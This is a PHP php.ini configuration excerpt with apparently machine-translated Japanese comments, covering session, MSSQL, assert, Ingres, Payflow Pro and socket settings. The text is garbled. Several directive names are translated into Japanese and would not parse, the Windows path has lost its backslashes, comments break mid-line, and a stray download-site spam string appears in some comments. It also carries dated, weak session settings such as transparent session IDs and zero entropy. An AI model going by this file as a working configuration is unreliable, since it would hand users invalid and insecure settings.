session.save_handler = files; データの保存/取得の制御方法
session.save_path = C:wintemp; save_handler がファイルに設定されている場合にコントローラーに渡されるパラメーター。
; これはデータ ファイルが保存されるパスです。
session.use_cookies = 1; Cookie を使用するかどうか。
セッション名 = PHPSESSID
; Cookie で使用するセッションの名前。
session.auto_start = 0 リクエストの開始時にセッションを初期化します。
session.cookie_lifetime = 0 は Cookie の保存時間 (秒) です。
; または 0、ブラウザが再起動されるまで
session.cookie_path = / ; クッキーの有効なパス
session.cookie_domain = ; Cookie の有効なドメイン
session.serialize_handler = php; データの接続に使用されるコントローラー
; php は PHP の標準コントローラです。
session.gc_probability = 1 ; 「ガベージ コレクション」プロセスの割合
; セッションが初期化されるたびに開始する可能性。
session.gc_maxlifetime = 1440 ; この数値で示される秒数が経過すると、保存されたデータが考慮されます。
; 「フラグメント(ガベージ)」は gc プロセスによってクリーンアップされます。
session.referer_check = ; URL に含まれる追加の ID を無効にするために HTTP リファラーをチェックします。
session.entropy_length = 0 ; ファイルから読み取るバイト数
session.entropy_file = ; セッションIDを作成するにはここに指定します
; セッション.エントロピーの長さ = 16
; セッション.entropy_file = /dev/urandom
session.cache_limiter = nocache; HTTP を決定するには、{nocache, private, public} に設定します。
; キャッシュの問題
session.cache_expire = 180 ; ドキュメントは n 分後に期限切れになります
session.use_trans_sid = 1 ; コンパイル時に有効になっている場合は、暫定的な SID サポートを使用します。
; --enable-trans-sid
url_rewriter.tags = "a=href、エリア=href、フレーム=src、input=src、form=fakeentry"
[MSSQL]
;extension=php_mssql.dll
mssql.allow_persistent = On ; 永続的な接続を許可または無効にします。
mssql.max_persistent = -1; 永続接続の最大数 -1 は無制限を意味します。
mssql.max_links = -1; 最大接続数 (永続的および非永続的) は、無制限のネットワーク管理を表します。
mssql.min_error_severity = 10 ; 表示されるエラーの最小重大度
mssql.min_message_severity = 10 ; 表示されるメッセージの最小重大度
mssql.compatability_mode = Off ; 古いバージョンの PHP 3.0 と互換性のあるモード
。
;? ? ? ? ?
;assert.active = オン ;デフォルトでアクティブなassert(expr);
;assert.warning = On ; 失敗したアサーションごとに PHP 警告を発行します。
;assert.bail = Off ; デフォルトではベイルアウトしません。
;assert.callback = 0 ; アサーションが失敗した場合に呼び出されるユーザー関数。
;assert.quit_eval = 0 ; eval() の周囲に error_reporting(0) を設定する場合は、式を true に設定します
。
ii.allow_persistent = On ; 永続的な接続を許可または無効にします。
ii.max_persistent = -1; 永続的な接続の最大数は無制限を意味します。
ii.max_links = -1 ; 接続の最大数 (永続的および非永続的) -1 は無制限を意味します。
ii.default_database = ; デフォルトのデータベース (形式: [node_id::]dbname[/srv_class])
ii.default_user = ;デフォルトのユーザー
ii.default_password = ; デフォルトのパスワード ネットワーク管理のダウンロード dl.bitscn.com
[Verisign Payflow Pro]
pfpro.defaulthost = "test.signio.com" ; デフォルトの Signio サーバー
pfpro.defaultport = 443; 接続用のデフォルトのポート
pfpro.defaulttimeout = 30 ; デフォルトのタイムアウト (秒
) pfpro.proxyaddress = ;
; pfpro.proxyport = ; デフォルトのプロキシポート
; pfpro.proxylogon = ; デフォルトのプロキシ ログイン (ログオン ユーザー名)
; pfpro.proxypassword = ; デフォルトのプロキシパスワード
[ソケット]
ソケット.use_system_read = On; php_read() パッケージの代わりにシステムの read() 関数を使用します。
; ローカル変数: (ローカル変数)
; タブ幅: 4
; 終わり: